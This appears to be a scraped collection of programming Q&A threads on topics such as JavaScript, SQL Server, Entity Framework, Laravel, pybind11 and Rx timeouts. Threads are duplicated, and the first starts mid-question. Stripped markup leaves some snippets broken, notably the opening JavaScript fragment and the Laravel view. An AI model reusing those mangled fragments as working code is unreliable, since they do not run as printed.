I will try this:

var makeNestedList = () => {
  $.each(array, function(i, el) {
    nested += '
';
    nested += '
' + el + '
';
    makeNestedList();
    nested += '
';
  });
};

But why is the result empty?

Body:
You could use Array#reduceRight and create the most nested node first and then the outer ones.

var array = ["a", "b", "c", "d", "e"],
    result = array.reduceRight(function (r, a) {
        return '<ol><li>' + a + r + '</li></ol>';
    }, '');

document.body.innerHTML += result;
console.log(result);

From the outside to inside with nodes.

var array = ["a", "b", "c", "d", "e"];

array.reduce(function (node, item) {
    var ol = document.createElement('ol'),
        li = document.createElement('li');

    li.appendChild(document.createTextNode(item));
    ol.appendChild(li);
    node.appendChild(ol);
    return li;
}, document.body);


问:
iOS11 UIBarButtonItem action not get called
I used Xcode9 Beta6 to build the project, the action was called correctly on iOS10 device, however it is not work on iOS11 device.

In My project, there are some viewControllers have a UIToolBar on the top, and the toolBar contains some UIBarButtonItems.

There is one this kind of viewController, whose UIBarButtonItem action is not called when I tap the UIBarButtonItem. I can see the tapping animation (the icon become dim first and back to normal after finger released)

At the end of viewDidLoad, I print the info of toolbar.items to indicate that target action are set properly.

Debug Output

答:
In my case the problem was a gestureRecognizer added to the whole main view (in order to close the keyboard) like this:

```<code>UITapGestureRecognizer *gesture = [[UITapGestureRecognizer alloc] initWithTarget:self action:@selector(closeKeyboard)];
[self.view addGestureRecognizer:gesture];
</code>```

That gesture recognizer overrides the tap on the UIBarButtonItem, thus I solved by creating a new subview placed immediately below the navigation bar and assigning the gesture recognizer to that view and not to the whole main view.

Body:
In my case the problem was a gestureRecognizer added to the whole main view (in order to close the keyboard) like this:

UITapGestureRecognizer *gesture = [[UITapGestureRecognizer alloc] initWithTarget:self action:@selector(closeKeyboard)];
[self.view addGestureRecognizer:gesture];

That gesture recognizer overrides the tap on the UIBarButtonItem, thus I solved by creating a new subview placed immediately below the navigation bar and assigning the gesture recognizer to that view and not to the whole main view.


答:
The problem is you are using ISNUMERIC(col1) = 1 which fails for a ton of cases like ISNUMERIC('1e4') or ISNUMERIC('$') or in your case, ISNUMERIC('1,000,000'). Don't use ISNUMERIC in this fashion.

Instead, try this...

```<code> UPDATE #temptable
 SET col2 = CAST(col1 AS numeric(10,5))
 WHERE col1 not like '%[^0-9.]%'
</code>```

Title: MSSQL Server 2008 - Convert Nvarchar to numeric

Body:
The problem is you are using ISNUMERIC(col1) = 1 which fails for a ton of cases like ISNUMERIC('1e4') or ISNUMERIC('$') or in your case, ISNUMERIC('1,000,000'). Don't use ISNUMERIC in this fashion.

Instead, try this...

 UPDATE #temptable
 SET col2 = CAST(col1 AS numeric(10,5))
 WHERE col1 not like '%[^0-9.]%'


问:
Alternative to Fsync for windows c++
Is there an alternative to fsync for windows? (C++ builder)

Fsync required to include unistd.h and it's only for unix systems

Thanks!

答:
From the man-page:

fflush() forces a write of all user-space
         buffered data for the given output or update stream via the stream's
         underlying write function.

The mentioned write function tells the operating system what the contents of the file should be. At this point all changes will be held in filesystem caches before actually being committed to disk.

The POSIX function fsync() tells the operating system to sync all changes from its caches to disk. As others have said you can use FlushFileBuffers on the Windows platform.

Title: Alternative to Fsync for windows c++


问:
Load data in view in Laravel
I have a simple controller function that fetch all records from db. but when i am trying to show all these records it show nothing. In fact it shows me hard coded foreach loop like this.

```<code> @foreach ($compactData as $value) {{ $value->Name }} @endforeach
</code>```

this is my contoller function.

```<code>public function showallProducts()
{
    $productstock = Product::all()->stocks;
    $productoldprice = Product::all()->OldPrices;
    $productcurrentprice = Product::all()->CurrentPrice;
    $compactData=array('productstock', 'productoldprice', 'productcurrentprice');
    return view('welcome', compact($compactData));
}
</code>```

this is my view

```<code>       <!doctype html>
<html lang="{{ app()->getLocale() }}">
<head>

 </head>
 <body>
    <div class="flex-center position-ref full-height">

        <div class="content">
            <div class="title m-b-md">
                Laravel
            </div>

            <div class="title m-b-md">
                All products
            </div>

            <table>

                <tbody>
                @foreach ($compactData as $value)
                    {{ $value->Name }}

                @endforeach

                </tbody>

            </table>
        </div>
    </div>
</body>
</code>```

 why it is behaving like this. any solution?? I am using phpstorm version 17. Is their any setting issue to run project because what ever project I ran it gives me the only page which i ran with only html?
My route is.

```<code>   Route::get('/', function () {

    $action = 'showallProducts';
    return App::make('ProductController')->$action();
 });
</code>```

答:
You most likely have a problem with your web server.

Try to use Laravel Valet as development environnement.

Edit : I found this : Valet for Windows

Title: Load data in view in Laravel

Body:
I have a simple controller function that fetch all records from db. but when i am trying to show all these records it show nothing. In fact it shows me hard coded foreach loop like this.

 @foreach ($compactData as $value) {{ $value->Name }} @endforeach

this is my contoller function.

public function showallProducts()
{
    $productstock = Product::all()->stocks;
    $productoldprice = Product::all()->OldPrices;
    $productcurrentprice = Product::all()->CurrentPrice;
    $compactData=array('productstock', 'productoldprice', 'productcurrentprice');
    return view('welcome', compact($compactData));
}

this is my view

       <!doctype html>
getLocale() }}">

                Laravel

                All products

                @foreach ($compactData as $value)
                    {{ $value->Name }}

                @endforeach

 why it is behaving like this. any solution?? I am using phpstorm version 17. Is their any setting issue to run project because what ever project I ran it gives me the only page which i ran with only html?
My route is.

   Route::get('/', function () {

    $action = 'showallProducts';
    return App::make('ProductController')->$action();
 });


问:
Acumatica Error when publishing a customization: conversion of a varchar data type to a datetime
Does somebody know how to solve: "conversion of a varchar data type to a datetime data type resulted in an out-of-range value" when I try to publish a customization in Acumatica 6.10? Why does it happen? </p>

答:
My guess is the data type of a field in one of the tables was changed. The publishing process is not going to know how to change the value. compared the tables used in your customization to their current types in SQL.

Also, you might be trying to convert a value where the current value does not fit into the new type. For example a converted string value of "15 Jan 2117" would fail to convert to SQL SmallDateTime as the max date is "6 Jun 2079"

Either way you best friend here might be to run a SQL profiler to find the table/sql syntax trying to execute.

Edit: If you change the field in SQL you must reset the app in IIS as it caches the table structure when the site first loads. After you make the SQL change do this and then update your customization project database table/script by clicking RELOAD FROM DATABASE. Then when you publish it will be using the correct data type.


问:
In C#. Can i detect if my main is not responding or closing event when i'm in a while
i have a little problem. I can detect the closing event of my main program, all is ok. But when i'm using a while to reach the end of a thread, i can't detect the closing event of my main program.
I can't detect if the main porgram is responding or not.

I always have the little window saying that my program (my main) is not responding... this information as given by Windows 10.

Why windows 10 can detect it and my program not ?

Have you got an idea on how can i detect the not responding event or closing event in my while loop ?

Thanks in advance.
Regards.

答:
I agree with @grek40. You should be using separate threads for long processes as to not freeze the UI (and result in the 'Not Responding' message).

Perhaps you can create a thread for checking the state of the main program that is separate from all other threads, especially the main UI thread.

```<code>    public async Task doSomething()
    {
        While(Condition)
        {
         //Check for event
        }

        //Or complete an action
    }
</code>```

Or perhaps something like this:

```<code>new Thread(() =>
        {
            Thread.CurrentThread.IsBackground = true;

            //Do something

        }).Start();
</code>```

Body:
I agree with @grek40. You should be using separate threads for long processes as to not freeze the UI (and result in the 'Not Responding' message).

Perhaps you can create a thread for checking the state of the main program that is separate from all other threads, especially the main UI thread.

    public async Task doSomething()
    {
        While(Condition)
        {
         //Check for event
        }

        //Or complete an action
    }

Or perhaps something like this:

new Thread(() =>
        {
            Thread.CurrentThread.IsBackground = true;

            //Do something

        }).Start();


问:
How to add a link that would let user change their Gravatar on my site?
How do I add a link that would let user change their Gravatar on my site?
(The same way you can change your Gravatar on Wordpress)

Thanks,
Kenneth

答:
It should be possible to implement the chaning of a avatar using XML-RPC. The protocol is specified by Gravatar: http://en.gravatar.com/site/implement/xmlrpc/

There is actually a call

grav.saveData - Save binary image data as a userimage for this account

grav.saveUrl - Read an image via its URL and save that as a userimage for this account

So you need to implement the changing by yourself but you can avoid people to have to login at gravatar.

OwnerDisplayName: ksuralta

ContentLicense: CC BY-SA 2.5


问:
Casting java.sql.Connection to Oracle Connection
I have a java application where I call Oracle procedure and passing Oracle array as parameter. My application is EAR.

Everything worked correctly on Java 7 and Jboss 7, but when we upgraded to Java 8 and Wildfly 10 we got this error:

```<code> java.lang.ClassCastException:
 org.jboss.jca.adapters.jdbc.jdk7.WrappedConnectionJDK7 cannot be cast
 to org.jboss.jca.adapters.jdbc.WrappedConnection
</code>```

After some research I changed my code to this:

```<code>WrappedConnectionJDK7  wc = (WrappedConnectionJDK7 ) conn;
OracleConnection oraconn = (OracleConnection) wc.getUnderlyingConnection();
</code>```

and I added dependency in pom.xml

```<code><dependency>
  <groupId>org.jboss.ironjacamar</groupId>
  <artifactId>ironjacamar-jdbc</artifactId>
  <version>1.3.2.Final</version>
</dependency>
</code>```

but still I get this error:

```<code>java.lang.ClassCastException:
org.jboss.jca.adapters.jdbc.jdk7.WrappedConnectionJDK7 cannot be cast to
org.jboss.jca.adapters.jdbc.jdk7.WrappedConnectionJDK7
</code>```

答:
I have had to unwrap similar connections (but not exactly the same wrapper classes) before and have used:</p>

```<code>OracleConnection oconn;
if ( conn.isWrapperFor( OracleConnection.class ) )
{
  oconn = (OracleConnection) conn.unwrap( OracleConnection.class );
}
else
{
  throw new SQLException( "Not an Oracle Connection" );
}
</code>```

Body:
I have a java application where I call Oracle procedure and passing Oracle array as parameter. My application is EAR.

Everything worked correctly on Java 7 and Jboss 7, but when we upgraded to Java 8 and Wildfly 10 we got this error:

 java.lang.ClassCastException:
 org.jboss.jca.adapters.jdbc.jdk7.WrappedConnectionJDK7 cannot be cast
 to org.jboss.jca.adapters.jdbc.WrappedConnection

After some research I changed my code to this:

WrappedConnectionJDK7  wc = (WrappedConnectionJDK7 ) conn;
OracleConnection oraconn = (OracleConnection) wc.getUnderlyingConnection();

and I added dependency in pom.xml

<dependency>
  <groupId>org.jboss.ironjacamar</groupId>
  <artifactId>ironjacamar-jdbc</artifactId>
  <version>1.3.2.Final</version>
</dependency>

but still I get this error:

java.lang.ClassCastException:
org.jboss.jca.adapters.jdbc.jdk7.WrappedConnectionJDK7 cannot be cast to
org.jboss.jca.adapters.jdbc.jdk7.WrappedConnectionJDK7

Body:
I have had to unwrap similar connections (but not exactly the same wrapper classes) before and have used:

OracleConnection oconn;
if ( conn.isWrapperFor( OracleConnection.class ) )
{
  oconn = (OracleConnection) conn.unwrap( OracleConnection.class );
}
else
{
  throw new SQLException( "Not an Oracle Connection" );
}


问:
How define class via Code First in Entity Framework
I have class Plant with some attributes.

```<code>public class Plant
{
    public int Id { get; set; }

    // some attributes

    [Display(Name = "Благоприятные соседи")]
    public virtual List<Plant> PositivePlants { get; set; }

    [Display(Name = "Нежелательные соседи")]
    public virtual List<Plant> NegativePlants { get; set; }

    public Plant()
    {
        PositivePlants = new List<Plant>();
        NegativePlants = new List<Plant>();
    }
}
</code>```

I hope that EF will create 3 tables in database:

```<code>Plants:
   Id int PK;
   // some another attributes

NegativePlants:
   Plant_Id int PK FK;
   Negative_Id int PK FK;

PositivePlants:
   Plant_Id int PK FK;
   Positive_Id int PK FK;enter code here
</code>```

But by default I get another schema. How I can get following schema using DataAnnotation attributes or Fluent Api?

答:
I solved this. I overrided OnModelCreating method of DBContext in a context class like this:</p>

```<code>protected override void OnModelCreating(DbModelBuilder modelBuilder)
    {
        modelBuilder.Entity<Plant>()
            .HasMany(p => p.ReversedPositivePlants)
            .WithMany(p => p.PositivePlants)
            .Map(m => m.ToTable("PositivePlants").MapLeftKey("Plant_Id").MapRightKey("Positive_Id"));

        modelBuilder.Entity<Plant>()
            .HasMany(p => p.ReversedNegativePlants)
            .WithMany(p => p.NegativePlants)
            .Map(m => m.ToTable("NegativePlants").MapLeftKey("Plant_Id").MapRightKey("Negative_Id"));

        base.OnModelCreating(modelBuilder);
    }
</code>```

Body:
I have class Plant with some attributes.

public class Plant
{
    public int Id { get; set; }

    // some attributes

    [Display(Name = "Благоприятные соседи")]
    public virtual List<Plant> PositivePlants { get; set; }

    [Display(Name = "Нежелательные соседи")]
    public virtual List<Plant> NegativePlants { get; set; }

    public Plant()
    {
        PositivePlants = new List<Plant>();
        NegativePlants = new List<Plant>();
    }
}

I hope that EF will create 3 tables in database:

Plants:
   Id int PK;
   // some another attributes

NegativePlants:
   Plant_Id int PK FK;
   Negative_Id int PK FK;

PositivePlants:
   Plant_Id int PK FK;
   Positive_Id int PK FK;enter code here

But by default I get another schema. How I can get following schema using DataAnnotation attributes or Fluent Api?

Body:
I solved this. I overrided OnModelCreating method of DBContext in a context class like this:

protected override void OnModelCreating(DbModelBuilder modelBuilder)
    {
        modelBuilder.Entity<Plant>()
            .HasMany(p => p.ReversedPositivePlants)
            .WithMany(p => p.PositivePlants)
            .Map(m => m.ToTable("PositivePlants").MapLeftKey("Plant_Id").MapRightKey("Positive_Id"));

        modelBuilder.Entity<Plant>()
            .HasMany(p => p.ReversedNegativePlants)
            .WithMany(p => p.NegativePlants)
            .Map(m => m.ToTable("NegativePlants").MapLeftKey("Plant_Id").MapRightKey("Negative_Id"));

        base.OnModelCreating(modelBuilder);
    }


问:
Ninject in .NET Core how to configure
Following this question asked here: Ninject in .NET Core

I can't find anywhere an explanation of how to configure ninject in a .NET Core application.

I understand its done in the  public void ConfigureServices(IServiceCollection services)

Did anyone successfully accomplished that?

答:
I have never personally used Ninject, but the common way to use custom IoC containers in netcore is to change the return type of the ConfigureServices method from void to IServiceProvider. In case of Ninject it would look like this:

```<code>    public IServiceProvider ConfigureServices(IServiceCollection services)
    {
        var kernel = new StandardKernel();

        // register your modules here

        return kernel;
    }
</code>```

...I have just tried it and it works, because the StandardKernel of Ninject implements the IServiceProvider interface of netcore.

Title: Ninject in .NET Core how to configure

Body:
I have never personally used Ninject, but the common way to use custom IoC containers in netcore is to change the return type of the ConfigureServices method from void to IServiceProvider. In case of Ninject it would look like this:

    public IServiceProvider ConfigureServices(IServiceCollection services)
    {
        var kernel = new StandardKernel();

        // register your modules here

        return kernel;
    }

...I have just tried it and it works, because the StandardKernel of Ninject implements the IServiceProvider interface of netcore.


答:
Use try_convert() in SQL Server 2012+:

```<code>UPDATE #temptable
   SET col2 = TRY_CONVERT(numeric(10,5), col1)
   WHERE ISNUMERIC(col1) = 1;
</code>```

SQL Server re-arranges expression valuation in a query.  So, the CAST() might be implemented before the WHERE -- resulting in the error.  You can make a similar change to the SELECT version of your query.

In SQL Server 2008, you should be able to do effectively the same thing using CASE:

```<code>UPDATE #temptable
   SET col2 = (CASE WHEN ISNUMERIC(col1) = 1 THEN CONVERT(numeric(10, 5), col1) END)
   WHERE ISNUMERIC(col1) = 1;
</code>```

Note:  There may be cases where ISNUMERIC() returns "1", but the value cannot be converted  (for instance, overflow).  In that case, this version would still fail.

Body:
Use try_convert() in SQL Server 2012+:

UPDATE #temptable
   SET col2 = TRY_CONVERT(numeric(10,5), col1)
   WHERE ISNUMERIC(col1) = 1;

SQL Server re-arranges expression valuation in a query.  So, the CAST() might be implemented before the WHERE -- resulting in the error.  You can make a similar change to the SELECT version of your query.

In SQL Server 2008, you should be able to do effectively the same thing using CASE:

UPDATE #temptable
   SET col2 = (CASE WHEN ISNUMERIC(col1) = 1 THEN CONVERT(numeric(10, 5), col1) END)
   WHERE ISNUMERIC(col1) = 1;

Note:  There may be cases where ISNUMERIC() returns "1", but the value cannot be converted  (for instance, overflow).  In that case, this version would still fail.


问:
Entity Framework Code First Date field creation
I am using Entity Framework Code First method to create my database table. The following code
creates a DATETIME column in the database, but I want to create a DATE column.

```<code>[DataType(DataType.Date)]
[DisplayFormatAttribute(ApplyFormatInEditMode = true, DataFormatString = "{0:d}")]
public DateTime ReportDate { get; set; }
</code>```

How can I create a column of type DATE, during table creation?

答:
This is just an enhancement for the most up-voted answer by @LadislavMrnka on this question

if you have a lot of Date columns, then you can create custom attribute and then use it when ever you want, this will produce more clean code in the Entity classes

```<code>public class DateColumnAttribute : ColumnAttribute
{
    public DateColumnAttribute()
    {
        TypeName = "date";
    }
}
</code>```

Usage

```<code>[DateColumn]
public DateTime DateProperty { get; set; }
</code>```

Body:
I am using Entity Framework Code First method to create my database table. The following code
creates a DATETIME column in the database, but I want to create a DATE column.

[DataType(DataType.Date)]
[DisplayFormatAttribute(ApplyFormatInEditMode = true, DataFormatString = "{0:d}")]
public DateTime ReportDate { get; set; }

How can I create a column of type DATE, during table creation?

Body:
This is just an enhancement for the most up-voted answer by @LadislavMrnka on this question

if you have a lot of Date columns, then you can create custom attribute and then use it when ever you want, this will produce more clean code in the Entity classes

public class DateColumnAttribute : ColumnAttribute
{
    public DateColumnAttribute()
    {
        TypeName = "date";
    }
}

Usage

[DateColumn]
public DateTime DateProperty { get; set; }


问:
to check if the password entered by the user is correct in 7zip
I would like to check if the password that was entered by the user for .7z  encrypted file is correct (even by boolean yes or no, without compressing).

can i do it and how ?
if yes - what is the command line ?

答:
Not with javascript, but with UNIX shell:

```<code>7z t -p"$PASS" archive.7z > /dev/null 2>&1 && echo correct || echo wrong
</code>```

Assumes password is in PASS variable, you can substitute it directly of course.

Of course, instead of relying on echo'ed values you can just read the ret code of 7z. Zero for correct, nonzero for wrong.

Body:
Not with javascript, but with UNIX shell:

7z t -p"$PASS" archive.7z > /dev/null 2>&1 && echo correct || echo wrong

Assumes password is in PASS variable, you can substitute it directly of course.

Of course, instead of relying on echo'ed values you can just read the ret code of 7z. Zero for correct, nonzero for wrong.


问:
pass in array of integers to create new Date not working
I have an array of integers that I want to create a new Date with by using new Date but how can i get rid of the brackets so im just passing in the list of numbers? I have this:

```<code>var array = [2015, 3, 18, 2, 0, 0]
var newdate = new Date(array)
</code>```

but it wont work because new Date cant have an array inside. Does anyone know how to make this work so im passing in:

```<code>var newdate = new Date(2015, 3, 18, 2, 0, 0)
</code>```

Thanks!

答:
spread syntax does the trick.

var array = [2015, 3, 18, 2, 0, 0];
var newdate = new Date(...array);

console.log(newdate);```

Body:
I have an array of integers that I want to create a new Date with by using new Date but how can i get rid of the brackets so im just passing in the list of numbers? I have this:

var array = [2015, 3, 18, 2, 0, 0]
var newdate = new Date(array)

but it wont work because new Date cant have an array inside. Does anyone know how to make this work so im passing in:

var newdate = new Date(2015, 3, 18, 2, 0, 0)

Thanks!


问:
embedding Python in C++ using pybind11, Segmentation fault
I'm trying to embed Python in C++ using pybind11. Embedding got a lot less attention than extension, and useful resources are hard to find.

Here's my naive code

```<code>#include "Python.h"
#include "pybind11/pybind11.h"

#include <iostream>

namespace py = pybind11;

void lock_python(PyThreadState* s)
{
    PyEval_RestoreThread(s);
}

PyThreadState* unlock_python()
{
    return PyEval_SaveThread();
}

void run(PyThreadState * _py_thread_state)
{
    if (_py_thread_state) {
        lock_python(_py_thread_state);
    }

    py::object np = py::module::import("numpy");
    auto v = np.attr("sqrt")(py::cast(36.0));

    std::cout << "sqrt(36.0) = " << v.cast<double>() << std::endl;

    py::dict kwargs = py::dict(py::arg("a") = 3);

    if (_py_thread_state) {
        _py_thread_state = unlock_python();
    }
}

int main()
{
    Py_Initialize();
    PyEval_InitThreads();
    PyThreadState * _py_thread_state = unlock_python();

    run(_py_thread_state);

    if (_py_thread_state) {
        lock_python(_py_thread_state);
        delete _py_thread_state;
    }

    return 0;
}
</code>```

Without the kwargs line, everything looked fine. With it, I got set-fault.

One wild guess is that I need to somehow delete or decref kwargs, which was not used by Python.

Any pointers are appreciated.

答: If you do not use threads you dont need the locks. The GIL is held as soon as your interpreter is initialized. Further the pybind11 docs state that one should not use the Py_Initialize and Py_Finalize and use the py::scoped_interpreter instead.

Body:
I'm trying to embed Python in C++ using pybind11. Embedding got a lot less attention than extension, and useful resources are hard to find.

Here's my naive code

#include "Python.h"
#include "pybind11/pybind11.h"

#include <iostream>

namespace py = pybind11;

void lock_python(PyThreadState* s)
{
    PyEval_RestoreThread(s);
}

PyThreadState* unlock_python()
{
    return PyEval_SaveThread();
}

void run(PyThreadState * _py_thread_state)
{
    if (_py_thread_state) {
        lock_python(_py_thread_state);
    }

    py::object np = py::module::import("numpy");
    auto v = np.attr("sqrt")(py::cast(36.0));

    std::cout << "sqrt(36.0) = " << v.cast<double>() << std::endl;

    py::dict kwargs = py::dict(py::arg("a") = 3);

    if (_py_thread_state) {
        _py_thread_state = unlock_python();
    }
}

int main()
{
    Py_Initialize();
    PyEval_InitThreads();
    PyThreadState * _py_thread_state = unlock_python();

    run(_py_thread_state);

    if (_py_thread_state) {
        lock_python(_py_thread_state);
        delete _py_thread_state;
    }

    return 0;
}

Without the kwargs line, everything looked fine. With it, I got set-fault.

One wild guess is that I need to somehow delete or decref kwargs, which was not used by Python.

Any pointers are appreciated.


问:
Using JRuby as a tool for java programming
Anyone have real-world success stories, or links to them (blog posts, mailing list threads, etc) where JRuby has been used as a tool for quick prototyping, API exploration, REPL-based debugging, and so forth, in a pure Java project?</p>

答: I built a small wrapper around some solrj classes (jruby_streaming_update_solr_server) and do all my solr indexing via jruby. I find it easier to write processing routines in ruby than java, and it's so easy to rapidly spit something out, test it, and run it that I'll never go back.</p>


问:
Try to sort a List of Object in C#
I'm trying to sort a c # object list, the object is composed like this: an int num and a string alphabet.
I wish a list like that :

```<code> - element 1 : num : 2 alphabet : A
 - element 2 : num : 1 alphabet : A
 - element 3 : num : 1 alphabet : B
 - element 4 : num : 2 alphabet : B
 - element 5 : num : 2 alphabet : B
</code>```

become like that :

```<code> - element 1 : num : 1 alphabet : A
 - element 2 : num : 2 alphabet : A
 - element 3 : num : 1 alphabet : B
 - element 4 : num : 2 alphabet : B
 - element 5 : num : 2 alphabet : B
</code>```

I already did that :

```<code>myList.Sort(MyObject p1, MyObject p2) {
  p1.num;
  p2.Type;
  //code but i don't know what
});
</code>```

Does anyone know how to do it? thank you very much

答:
If you want to sort existing list inplace:

```<code>myList.Sort((left, right) => {
  int r = string.Compare(left.alphabet, right.alphabet);

  if (r != 0)
    return r;
  else
    return left.num.CompareTo(right.num);
});
</code>```

Title: Try to sort a List of Object in C#

Body:
I'm trying to sort a c # object list, the object is composed like this: an int num and a string alphabet.
I wish a list like that :

 - element 1 : num : 2 alphabet : A
 - element 2 : num : 1 alphabet : A
 - element 3 : num : 1 alphabet : B
 - element 4 : num : 2 alphabet : B
 - element 5 : num : 2 alphabet : B

become like that :

 - element 1 : num : 1 alphabet : A
 - element 2 : num : 2 alphabet : A
 - element 3 : num : 1 alphabet : B
 - element 4 : num : 2 alphabet : B
 - element 5 : num : 2 alphabet : B

I already did that :

myList.Sort(MyObject p1, MyObject p2) {
  p1.num;
  p2.Type;
  //code but i don't know what
});

Does anyone know how to do it? thank you very much

Body:
If you want to sort existing list inplace:

myList.Sort((left, right) => {
  int r = string.Compare(left.alphabet, right.alphabet);

  if (r != 0)
    return r;
  else
    return left.num.CompareTo(right.num);
});


问:
How to achieve sequence of timeouts with RX?
The scenario is as follows: a device communicating over is considered connected if it makes a callback to the server within a short period of time.
I want to create a class that encapsulates the functionality of keeping track of this status. On call to the device, the timeout should be reset. On callback, the connection is confirmed, and the status should be set to true, if the callback times out, it should be set to false. But the next call should be able to reset the timeout again indifferent to the current status.

I was thinking to achieve this with RX using swith and timeout. But I don't know why it stops working.

```<code>public class ConnectionStatus
{
private Subject<bool> pending = new Subject<bool>();
private Subject<bool> connected = new Subject<bool>();

public bool IsConnected { get; private set; }

public ConnectionStatus(CancellationToken token, short timeoutSeconds = 15)
{
    pending.Select(outer => connected.Timeout(TimeSpan.FromSeconds(timeoutSeconds)))
        .Switch()
        .Subscribe(_ => IsConnected = true, e => IsConnected = false, token);
}

public void ConfirmConnected()
{
    connected.OnNext(true);
}

public void SetPending()
{
    pending.OnNext(true);
}
}
</code>```

This is the "test case":

```<code>var c = new ConnectionStatus(default(CancellationToken));

c.SetPending();
await Task.Delay(TimeSpan.FromSeconds(5));
c.ConfirmConnected();
c.IsConnected.Dump(); // TRUE, OK

c.SetPending();
await Task.Delay(TimeSpan.FromSeconds(5));
c.ConfirmConnected();
c.IsConnected.Dump(); // TRUE, OK

c.SetPending();
await Task.Delay(TimeSpan.FromSeconds(20));
c.IsConnected.Dump(); // FALSE, OK
c.ConfirmConnected();
c.IsConnected.Dump(); // FALSE, OK

c.SetPending();
await Task.Delay(TimeSpan.FromSeconds(10));
c.ConfirmConnected();
c.IsConnected.Dump(); // FALSE, NOT OK!
</code>```

I assume that the timeout of the inner observable is also stopping the outer observable. As the outer => lambda is not called anymore. What is the correct way?

Thank you

答:
The problem is that Timeout essentially causes an Exception blowing up the Rx subscriptions. After the timeout is triggered (as you have it coded), no other notifications will be sent. Rx grammar is that you can have * OnNext messages followed by either one OnCompleted or one OnError. After the OnError from the Timeout is sent, you'll see no more messages.

You need to have the Timeout message delivered via OnNext messages instead of an OnError message. In your old code, you turned any OnError into a false, and any OnNext into a true. Instead you need to embed the proper new IsConnected value into OnNext messages. Here's how to do that:

```<code>public ConnectionStatus(CancellationToken token, short timeoutSeconds = 15)
{
    pending.Select(_ => connected
            .Timeout(TimeSpan.FromSeconds(timeoutSeconds))
            .Materialize()
            .Select(n => n.Kind == NotificationKind.OnError && n.Exception.GetType() == typeof(TimeoutException)
                ? Notification.CreateOnNext(false)
                : n)
            .Dematerialize()
            .Take(1)
        )
        .Switch()
        .Subscribe(b => IsConnected = b, token);
}
</code>```

Body:
The scenario is as follows: a device communicating over is considered connected if it makes a callback to the server within a short period of time.
I want to create a class that encapsulates the functionality of keeping track of this status. On call to the device, the timeout should be reset. On callback, the connection is confirmed, and the status should be set to true, if the callback times out, it should be set to false. But the next call should be able to reset the timeout again indifferent to the current status.

I was thinking to achieve this with RX using swith and timeout. But I don't know why it stops working.

public class ConnectionStatus
{
private Subject<bool> pending = new Subject<bool>();
private Subject<bool> connected = new Subject<bool>();

public bool IsConnected { get; private set; }

public ConnectionStatus(CancellationToken token, short timeoutSeconds = 15)
{
    pending.Select(outer => connected.Timeout(TimeSpan.FromSeconds(timeoutSeconds)))
        .Switch()
        .Subscribe(_ => IsConnected = true, e => IsConnected = false, token);
}

public void ConfirmConnected()
{
    connected.OnNext(true);
}

public void SetPending()
{
    pending.OnNext(true);
}
}

This is the "test case":

var c = new ConnectionStatus(default(CancellationToken));

c.SetPending();
await Task.Delay(TimeSpan.FromSeconds(5));
c.ConfirmConnected();
c.IsConnected.Dump(); // TRUE, OK

c.SetPending();
await Task.Delay(TimeSpan.FromSeconds(5));
c.ConfirmConnected();
c.IsConnected.Dump(); // TRUE, OK

c.SetPending();
await Task.Delay(TimeSpan.FromSeconds(20));
c.IsConnected.Dump(); // FALSE, OK
c.ConfirmConnected();
c.IsConnected.Dump(); // FALSE, OK

c.SetPending();
await Task.Delay(TimeSpan.FromSeconds(10));
c.ConfirmConnected();
c.IsConnected.Dump(); // FALSE, NOT OK!

I assume that the timeout of the inner observable is also stopping the outer observable. As the outer => lambda is not called anymore. What is the correct way?

Thank you

Body:
The problem is that Timeout essentially causes an Exception blowing up the Rx subscriptions. After the timeout is triggered (as you have it coded), no other notifications will be sent. Rx grammar is that you can have * OnNext messages followed by either one OnCompleted or one OnError. After the OnError from the Timeout is sent, you'll see no more messages.

You need to have the Timeout message delivered via OnNext messages instead of an OnError message. In your old code, you turned any OnError into a false, and any OnNext into a true. Instead you need to embed the proper new IsConnected value into OnNext messages. Here's how to do that:

public ConnectionStatus(CancellationToken token, short timeoutSeconds = 15)
{
    pending.Select(_ => connected
            .Timeout(TimeSpan.FromSeconds(timeoutSeconds))
            .Materialize()
            .Select(n => n.Kind == NotificationKind.OnError && n.Exception.GetType() == typeof(TimeoutException)
                ? Notification.CreateOnNext(false)
                : n)
            .Dematerialize()
            .Take(1)
        )
        .Switch()
        .Subscribe(b => IsConnected = b, token);
}